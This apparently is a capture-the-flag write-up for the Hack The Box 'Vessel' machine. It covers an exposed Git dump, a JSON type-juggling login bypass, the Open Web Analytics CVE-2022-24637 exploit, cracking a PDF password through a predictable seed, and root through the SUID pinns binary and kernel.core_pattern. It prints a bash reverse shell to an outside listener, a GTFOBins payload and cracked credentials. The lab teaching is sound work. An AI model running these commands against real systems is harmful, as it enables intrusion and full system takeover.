Vessel
15 minutes to read
sysctl
as root
with pinns
as SUID binary. With this, we can modify the kernel configuration to run an arbitrary script with a program crashes, which leads to the privilege escalation- OS: Linux
- Difficulty: Hard
- IP Address: 10.10.11.178
- Release: 27 / 08 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.178 -p 22,80
Nmap scan report for 10.10.11.178
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 38c297327b9ec565b44b4ea330a59aa5 (RSA)
| 256 33b355f4a17ff84e48dac5296313833d (ECDSA)
|_ 256 a1f1881c3a397274e6301f28b680254e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vessel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 9.20 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.178
we will see this landing page:
At the bottom of the page we can see Vessel.htb
:
This probably means that there are subdomains (<subdomain>.vessel.htb
). However, using gobuster
of ffuf
to enumerate subdomains is not useful.
There is also a login form:
But we don’t have credentials. We can try to register a new account, but it is disabled:
Therefore, let’s use ffuf
to enumerate more routes:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u http://10.10.11.178/FUZZ -fw 4
[Status: 200, Size: 2393, Words: 999, Lines: 52, Duration: 53ms]
* FUZZ: 404
[Status: 200, Size: 2400, Words: 1029, Lines: 53, Duration: 69ms]
* FUZZ: 401
[Status: 200, Size: 2335, Words: 991, Lines: 52, Duration: 45ms]
* FUZZ: 500
[Status: 200, Size: 4213, Words: 1929, Lines: 71, Duration: 109ms]
* FUZZ: Login
[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 51ms]
* FUZZ: css
[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 54ms]
* FUZZ: dev
[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 56ms]
* FUZZ: img
[Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 46ms]
* FUZZ: js
[Status: 200, Size: 4213, Words: 1929, Lines: 71, Duration: 50ms]
* FUZZ: login
[Status: 200, Size: 5830, Words: 3040, Lines: 90, Duration: 48ms]
* FUZZ: register
[Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 47ms]
* FUZZ: server-status
One that stands out is /dev
. Let’s fuzz a bit more:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u http://10.10.11.178/dev/FUZZ -fw 4
[Status: 200, Size: 2607, Words: 18, Lines: 19, Duration: 57ms]
* FUZZ: .git/index
[Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 2787ms]
* FUZZ: .git/HEAD
[Status: 200, Size: 139, Words: 13, Lines: 9, Duration: 4823ms]
* FUZZ: .git/config
Nice, there is an exposed Git repository.
Git enumeration
We can use git-dumper
to extract the repository:
$ git-dumper http://10.10.11.178/dev/.git/ .
[-] Testing http://10.10.11.178/dev/.git/HEAD [200]
[-] Testing http://10.10.11.178/dev/.git/ [302]
[-] Fetching common files
[-] Fetching http://10.10.11.178/dev/.gitignore [302]
[-] http://10.10.11.178/dev/.gitignore responded with status code 302
[-] Fetching http://10.10.11.178/dev/.git/COMMIT_EDITMSG [200]
...
[-] Fetching http://10.10.11.178/dev/.git/objects/49/ef68c4ae55c19adc05c4222b582236d6b0ffcb [200]
[-] Fetching http://10.10.11.178/dev/.git/objects/fa/3044c0c0fac573dad6a50c52bcf6f55c7c7bb3 [200]
[-] Fetching http://10.10.11.178/dev/.git/objects/7f/79dd8b84759d6fef9e51e1dfe95f2e89823a8e [200]
[-] Fetching http://10.10.11.178/dev/.git/objects/d0/2d9b464fe19e78d4cda32b7e19ae62200c7140 [200]
[-] Running git checkout .
We have this Node.js project:
$ tree
.
βββ config
βΒ Β βββ db.js
βββ index.js
βββ public
βΒ Β βββ css
βΒ Β βΒ Β βββ style.css
βΒ Β βΒ Β βββ styles.css
βΒ Β βββ img
βΒ Β βΒ Β βββ bg-masthead.jpg
βΒ Β βΒ Β βββ error-404-monochrome.svg
βΒ Β βΒ Β βββ favicon.ico
βΒ Β βΒ Β βββ portfolio
βΒ Β βΒ Β βΒ Β βββ thumbnails
βΒ Β βΒ Β βΒ Β βββ 1.jpg
βΒ Β βΒ Β βΒ Β βββ 2.jpg
βΒ Β βΒ Β βΒ Β βββ 3.jpg
βΒ Β βΒ Β βΒ Β βββ 4.jpg
βΒ Β βΒ Β βΒ Β βββ 5.jpg
βΒ Β βΒ Β βΒ Β βββ 6.jpg
βΒ Β βΒ Β βΒ Β βββ images.zip
βΒ Β βΒ Β βββ profile.jpg
βΒ Β βββ js
βΒ Β βββ script.js
βΒ Β βββ scripts.js
βββ routes
βΒ Β βββ index.js
βββ views
βββ 401.ejs
βββ 404.ejs
βββ 500.ejs
βββ index.ejs
βββ login.ejs
βββ register.ejs
βββ reset.ejs
10 directories, 25 files
This is the commit history:
$ git log
commit 208167e785aae5b052a4a2f9843d74e733fbd917 (HEAD -> master)
Author: Ethan <ethan@vessel.htb>
Date: Mon Aug 22 10:11:34 2022 -0400
Potential security fixes
commit edb18f3e0cd9ee39769ff3951eeb799dd1d8517e
Author: Ethan <ethan@vessel.htb>
Date: Fri Aug 12 14:19:19 2022 -0400
Security Fixes
commit f1369cfecb4a3125ec4060f1a725ce4aa6cbecd3
Author: Ethan <ethan@vessel.htb>
Date: Wed Aug 10 15:16:56 2022 -0400
Initial commit
However, there is nothing useful. In fact, it looks like the project was updated because of some vulnerable SQL queries:
$ git show 2081
commit 208167e785aae5b052a4a2f9843d74e733fbd917 (HEAD -> master)
Author: Ethan <ethan@vessel.htb>
Date: Mon Aug 22 10:11:34 2022 -0400
Potential security fixes
diff --git a/routes/index.js b/routes/index.js
index 0cf479c..69c22be 100644
--- a/routes/index.js
+++ b/routes/index.js
@@ -1,6 +1,6 @@
var express = require('express');
var router = express.Router();
-var mysql = require('mysql');
+var mysql = require('mysql'); /* Upgraded deprecated mysqljs */
var flash = require('connect-flash');
var db = require('../config/db.js');
var connection = mysql.createConnection(db.db)
$ git show edb1
commit edb18f3e0cd9ee39769ff3951eeb799dd1d8517e
Author: Ethan <ethan@vessel.htb>
Date: Fri Aug 12 14:19:19 2022 -0400
Security Fixes
diff --git a/routes/index.js b/routes/index.js
index be2adb1..0cf479c 100644
--- a/routes/index.js
+++ b/routes/index.js
@@ -61,7 +61,7 @@ router.post('/api/login', function(req, res) {
let username = req.body.username;
let password = req.body.password;
if (username && password) {
- connection.query("SELECT * FROM accounts WHERE username = '" + username + "' AND password = '" + password + "'", function(error, results, fields) {
+ connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
if (error) throw error;
if (results.length > 0) {
req.session.loggedin = true;
There are database credentials at config/db.js
. But the relevant file is routes/index.js
:
var express = require('express');
var router = express.Router();
var mysql = require('mysql'); /* Upgraded deprecated mysqljs */
var flash = require('connect-flash');
var db = require('../config/db.js');
var connection = mysql.createConnection(db.db)
router.get('/', function(req, res) {
res.render('index');
});
router.get('/login', function(req, res) {
res.render('login', { logged : req.flash('error') });
});
router.get('/register', function(req, res) {
res.render('register', { registered : req.flash('error') });
});
router.get('/reset', function(req, res) {
res.render('reset', { reset : req.flash('error') });
});
router.use('/401', function(req,res){
res.render('401');
});
router.use('/500', function(req,res){
res.render('500');
});
router.use('/404', function(req,res){
res.render('404');
});
router.get('/logout', function(req, res) {
if (req.session) {
req.session.destroy(err => {
if (err) {
res.redirect('/500');
} else {
res.redirect('/login');
}
});
} else {
res.redirect('/login');
}
});
router.post('/api/register', function(req, res) {
req.flash('error', 'Currently not available!');
res.redirect('/register');
});
router.post('/api/reset', function(req, res) {
req.flash('error', 'Currently not available!');
res.redirect('/reset');
});
router.post('/api/login', function(req, res) {
let username = req.body.username;
let password = req.body.password;
if (username && password) {
connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
if (error) throw error;
if (results.length > 0) {
req.session.loggedin = true;
req.session.username = username;
req.flash('success', 'Succesfully logged in!');
res.redirect('/admin');
} else {
req.flash('error', 'Wrong credentials! Try Again!');
res.redirect('/login');
}
res.end();
});
} else {
res.redirect('/login');
}
});
router.get('/admin', function(req, res) {
if (req.session.loggedin) {
res.render('admin');
} else {
res.redirect('/login');
}
res.end();
});
router.get('/notes', function(req, res) {
if (req.session.loggedin) {
res.render('notes');
} else {
res.redirect('/401');
}
res.end();
});
router.get('/charts', function(req, res) {
if (req.session.loggedin) {
res.render('charts');
} else {
res.redirect('/401');
}
res.end();
});
router.get('/tables', function(req, res) {
if (req.session.loggedin) {
res.render('tables');
} else {
res.redirect('/401');
}
res.end();
});
router.all('*', (req, res) => {
res.status(404);
res.redirect('/404');
});
module.exports = router;
Particularly, we are interested in the login functionality, so let’s focus on /api/login
:
router.post('/api/login', function(req, res) {
let username = req.body.username;
let password = req.body.password;
if (username && password) {
connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
if (error) throw error;
if (results.length > 0) {
req.session.loggedin = true;
req.session.username = username;
req.flash('success', 'Succesfully logged in!');
res.redirect('/admin');
} else {
req.flash('error', 'Wrong credentials! Try Again!');
res.redirect('/login');
}
res.end();
});
} else {
res.redirect('/login');
}
});
The SQL query seems to be safe because it uses prepared statements. However, this part reminded me to Spiky Tamagotchi. In fact, it is possible to bypass the above query using a kind of Type Juggling with JSON encoding.
Foothold
First of all, let’s use Burp Suite to capture the login request and then use the Repeater tab:
Now, let’s change the content to JSON:
Authentication bypass
The server accepts JSON, so everything is good for the moment. At this point, we can trigger the Type Juggling exploit:
The problem is better explained at Spiky Tamagotchi, where I show that the bypass actually happens in MySQL.
At this point, we can bypass authentication and see the administration panel:
Exploiting a CVE
If we look at the top-right dropdown, we will find a subdomain (openwebanalytics.vessel.htb
):
After setting the subdomain in /etc/hosts
, we have this web application:
Reading the HTML source code, one can find that it is using Open Web Analytics version 1.7.3:
Actually, there is a public exploit for this version, which is related to CVE-2022-24637:
$ searchsploit analytics 1.7.3
------------------------------------------------- ----------------------
Exploit Title | Path
------------------------------------------------- ----------------------
Open Web Analytics 1.7.3 - Remote Code Execution | php/webapps/51026.py
------------------------------------------------- ----------------------
Shellcodes: No Results
If we run it, we will get a shell with nc
:
$ python3 51026.py
usage: 51026.py [-h] [-u USERNAME] [-p PASSWORD] [-P PROXY] [-c] TARGET ATTACKER_IP ATTACKER_PORT
51026.py: error: the following arguments are required: TARGET, ATTACKER_IP, ATTACKER_PORT
$ python3 51026.py http://openwebanalytics.vessel.htb 10.10.17.44 4444
[SUCCESS] Connected to "http://openwebanalytics.vessel.htb/" successfully!
[ALERT] The webserver indicates a vulnerable version!
[INFO] Attempting to generate cache for "admin" user
[INFO] Attempting to find cache of "admin" user
[INFO] Found temporary password for user "admin": c2304eea67bac6c8c2b766220bb02e6c
[INFO] Changed the password of "admin" to "LV6HaAZ71Zl8j01VCC1CTm28o0HhDbbu"
[SUCCESS] Logged in as "admin" user
[INFO] Creating log file
[INFO] Wrote payload to log file
[SUCCESS] Triggering payload! Check your listener!
[INFO] You can trigger the payload again at "http://openwebanalytics.vessel.htb/owa-data/caches/ROvAfn4B.php"
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.178.
Ncat: Connection from 10.10.11.178:55562.
whoami
www-data
script /dev/null -c bash
Script started, file is /dev/null
www-data@vessel:/var/www/html/owa/owa-data/caches$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@vessel:/var/www/html/owa/owa-data/caches$ export TERM=xterm
www-data@vessel:/var/www/html/owa/owa-data/caches$ export SHELL=bash
www-data@vessel:/var/www/html/owa/owa-data/caches$ stty rows 50 columns 158
System enumeration
There are two users in the machine:
www-data@vessel:/var/www/html/owa/owa-data/caches$ ls /home
ethan steven
And we are able to access these files from steven
:
www-data@vessel:/var/www/html/owa/owa-data/caches$ find /home
/home
/home/steven
/home/steven/passwordGenerator
/home/steven/.bashrc
/home/steven/.notes
/home/steven/.notes/screenshot.png
/home/steven/.notes/notes.pdf
/home/steven/.profile
/home/steven/.bash_logout
/home/steven/.bash_history
/home/ethan
find: '/home/ethan': Permission denied
These files are interesting:
www-data@vessel:/var/www/html/owa/owa-data/caches$ file /home/steven/passwordGenerator
/home/steven/passwordGenerator: PE32 executable (console) Intel 80386, for MS Windows
www-data@vessel:/var/www/html/owa/owa-data/caches$ file /home/steven/.notes/screenshot.png
/home/steven/.notes/screenshot.png: PNG image data, 548 x 427, 8-bit/color RGB, non-interlaced
www-data@vessel:/var/www/html/owa/owa-data/caches$ file /home/steven/.notes/notes.pdf
/home/steven/.notes/notes.pdf: PDF document, version 1.6
We can transfer them to our machine and analyze them.
Reversing a Windows PE
The file screenshot.png
is this:
It shows a Desktop application to generate “secure and random” passwords. The PDF document is password-protected, so we can guess that the password that appears masked in the screenshot is the one used in the PDF document.
Using pdf2john
we can extract a hash and then try to crack it with john
:
$ pdf2john notes.pdf | tee hash
notes.pdf:$pdf$2*3*128*-1028*1*16*c19b3bb1183870f00d63a766a1f80e68*32*4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000*32*cf30caf66ccc3eabfaf3
71623215bb8f004d7b8581d68691ca7b800345bc9a86
Obviously, the password is not in rockyou.txt
. Hence, we will need to reverse-engineer the Windows PE file and find out how the passwords are generated.
If we look the strings of the file, we can find some references to Python 3.7:
$ strings passwordGenerator | grep python
bpython3.dll
bpython37.dll
3python37.dll
Therefore, we can be sure that it is a binary file compiled from Python version 3.7. We can extract the Python bytecode with pyinstxtractor
and then find the source code with uncompyle6
.
Since there is a specific version involved, let’s use a Docker container to extract the source code:
$ docker run --rm -v "$PWD":/opt -it python:3.7 bash
root@b81d5511afb9:/# cd /tmp
root@b81d5511afb9:/tmp# git clone https://github.com/extremecoders-re/pyinstxtractor
...
root@b81d5511afb9:/tmp# pip install uncompyle6
...
root@b81d5511afb9:/tmp# python3 /tmp/pyinstxtractor/pyinstxtractor.py /opt/passwordGenerator
[+] Processing /opt/passwordGenerator
[+] Pyinstaller version: 2.1+
[+] Python version: 3.7
[+] Length of package: 34300131 bytes
[+] Found 95 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pyside2.pyc
[+] Possible entry point: passwordGenerator.pyc
[+] Found 142 files in PYZ archive
[+] Successfully extracted pyinstaller archive: /opt/passwordGenerator
You can now use a python decompiler on the pyc files within the extracted directory
root@b81d5511afb9:/tmp# uncompyle6 /tmp/passwordGenerator_extracted/passwordGenerator.pyc
# uncompyle6 version 3.9.0
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.7.16 (default, Feb 11 2023, 03:01:17)
# [GCC 10.2.1 20210110]
# Embedded file name: passwordGenerator.py
from PySide2.QtCore import *
from PySide2.QtGui import *
from PySide2.QtWidgets import *
from PySide2 import QtWidgets
import pyperclip
class Ui_MainWindow(object):
# ...
def genPassword(self):
length = value
char = index
if char == 0:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
elif char == 1:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
elif char == 2:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
try:
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
except:
msg = QMessageBox()
msg.setWindowTitle('Error')
msg.setText('Error while generating password!, Send a message to the Author!')
x = msg.exec_()
return password
if __name__ == '__main__':
app = QtWidgets.QApplication()
mainwindow = MainWindow()
mainwindow.show()
app.exec_()
# okay decompiling /tmp/passwordGenerator_extracted/passwordGenerator.pyc
Great, we have source code. The code is very simple. From the screenshot, we see that the length of the password is 32 and the list of characters is “All characters”.
The “randomness” comes from qsrand(QTime.currentTime().msec())
and then qrand()
multiple times. The problem is that the seed is predictable:
$ python3 -q
>>> from PySide2.QtCore import *
>>> QTime.currentTime().msec()
539
>>> QTime.currentTime().msec()
946
>>> QTime.currentTime().msec()
875
>>> QTime.currentTime().msec()
445
>>> QTime.currentTime().msec()
927
>>> QTime.currentTime().msec()
350
>>> QTime.currentTime().msec()
777
The idea here is to generate 32-character passwords for each possible seed (a total of 1000 possibilities). Then, use the passwords list with john
and crack the PDF hash.
For this step, the passwords need to be generated from a Windows machine, because the pseudo-random number generator has a different implementation in Linux and Windows. Moreover, the screenshot shows a Qt interface that seems to be running on Windows.
This is the script to run (gen.py
):
from PySide2.QtCore import *
length = 32
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
def gen_password(t: int) -> str:
qsrand(t)
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
return password
with open('passwords.txt', 'a') as f:
for t in range(1000):
f.write(gen_password(t + 1) + '\n')
PS ...> pip install PySide2
...
PS ...> python3 gen.py
Now, we can take the file passwords.txt
and bring it to our Linux machine to crack the PDF hash with john
:
$ john --wordlist=passwords.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 3 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS (notes.pdf)
1g 0:00:00:00 DONE 100.0g/s 38400p/s 38400c/s 38400C/s S14Zelk{dW8lSg>e,_gAd$su-3g^0i]Q..uU;lGzu-$k,2_fpnNJ#CB^%y$,yz<WI>
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.
Perfect, now we are able to unlock the PDF document. It contains the following text:
Dear Steven,
As we discussed since I'm going on vacation you will be in charge of system maintenance. Please ensure that the system is fully patched and up to date.
Here is my password: b@mPRNSVTjjLKId1T
System Administrator Ethan
Alright, so we have access via SSH as ethan
with password b@mPRNSVTjjLKId1T
:
$ ssh ethan@10.10.11.178
ethan@10.10.11.178's password:
ethan@vessel:~$ cat user.txt
4e16257fac9f46704b950d557a26b915
Privilege escalation
A basic enumeration shows that we have a strange binary file with SUID permissions:
ethan@vessel:~$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/at
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/usr/bin/pinns
ethan@vessel:~$ ls -l /usr/bin/pinns
-rwsr-x--- 1 root ethan 814936 Mar 15 2022 /usr/bin/pinns
If we search a bit, we can find the source code in C for this binary here. Let’s look at the parameter options:
// ...
int main(int argc, char **argv) {
// ...
static const struct option long_options[] = {
{"help", no_argument, NULL, 'h'},
{"uts", optional_argument, NULL, 'u'},
{"ipc", optional_argument, NULL, 'i'},
{"net", optional_argument, NULL, 'n'},
{"user", optional_argument, NULL, 'U'},
{"cgroup", optional_argument, NULL, 'c'},
{"mnt", optional_argument, NULL, 'm'},
{"dir", required_argument, NULL, 'd'},
{"filename", required_argument, NULL, 'f'},
{"uid-mapping", optional_argument, NULL, UID_MAPPING},
{"gid-mapping", optional_argument, NULL, GID_MAPPING},
{"sysctl", optional_argument, NULL, 's'},
};
// ...
while ((c = getopt_long(argc, argv, "mpchuUind:f:s:", long_options, NULL)) != -1) {
// ...
}
return EXIT_SUCCESS;
}
Option m
is very interesting, because we could mount the whole filesystem as root
(since it is a SUID binary) and then have read/write access. However, the m
option was removed. We can verify it looking at the strings:
ethan@vessel:~$ strings /usr/bin/pinns | grep uU
pchuUind:f:s:
Notice that m
does not appear in the options string.
Another useful option is s
(for sysctl
). Actually, there are GTFOBins for sysctl
. We can read the description using my tool gtfobins-cli
:
$ gtfobins-cli --suid sysctl
sysctl ==> https://gtfobins.github.io/gtfobins/sysctl/
SUID
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.
sudo install -m =xs $(which sysctl) .
COMMAND='/bin/sh -c id>/tmp/id'
./sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
Before exploiting this, we can research a little bit more and find out that it is actually CVE-2022-0811, show-cased in www.crowdstrike.com. It is actually a kernel exploit for Kubernetes Pods (containers). You can find more information at HackTricks as well.
Kernel exploitation
The idea is to modify /proc/sys/kernel/core_pattern
so that it runs a malicious script whenever a program crashes.
Let’s create a script as a proof of concept:
ethan@vessel:/tmp$ cat > script.sh
#!/bin/bash
id > /tmp/id
^C
ethan@vessel:/tmp$ chmod +x script.sh
Now, let’s modify kernel.core_pattern
configuration to run our script:
ethan@vessel:/tmp$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E
ethan@vessel:/tmp$ pinns -s 'kernel.core_pattern=|/tmp/script.sh'
[pinns:e]: Path for pinning namespaces not specified: Invalid argument
ethan@vessel:/tmp$ pinns -d /tmp -s 'kernel.core_pattern=|/tmp/script.sh'
[pinns:e]: Filename for pinning namespaces not specified: Invalid argument
ethan@vessel:/tmp$ pinns -d /tmp -f file -s 'kernel.core_pattern=|/tmp/script.sh'
[pinns:e] No namespace specified for pinning
ethan@vessel:/tmp$ pinns -i -d /tmp -f file -s 'kernel.core_pattern=|/tmp/script.sh'
ethan@vessel:/tmp$ cat /proc/sys/kernel/core_pattern
|/tmp/script.sh
Notice how I entered parameters when the program requires them (d
for directory, f
for file and i
for an IPC namespace) and that the kernel configuration changed. Now, let’s crash a program with segmentation fault:
ethan@vessel:/tmp$ sleep 1000 &
[1] 6921
ethan@vessel:/tmp$ cat /tmp/id
cat: /tmp/id: No such file or directory
ethan@vessel:/tmp$ kill -SIGSEGV 6921
ethan@vessel:/tmp$
[1]+ Segmentation fault (core dumped) sleep 1000
ethan@vessel:/tmp$ cat /tmp/id
uid=0(root) gid=0(root) groups=0(root)
It worked! Hence, let’s run a reverse shell to get access as root
:
ethan@vessel:/tmp$ cat > script.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.17.44/4444 0>&1
^C
ethan@vessel:/tmp$ chmod +x script.sh
ethan@vessel:/tmp$ cat /proc/sys/kernel/core_pattern
|/tmp/script.sh
ethan@vessel:/tmp$ sleep 1000 &
[1] 6931
ethan@vessel:/tmp$ kill -SIGSEGV 6931
ethan@vessel:/tmp$
And the shell as root
arrives:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.178.
Ncat: Connection from 10.10.11.178:53558.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@vessel:/# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@vessel:/# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@vessel:/# export TERM=xterm
root@vessel:/# export SHELL=bash
root@vessel:/# stty rows 50 columns 158
root@vessel:/# cat /root/root.txt
debd391c11567c256ef110208f6e9220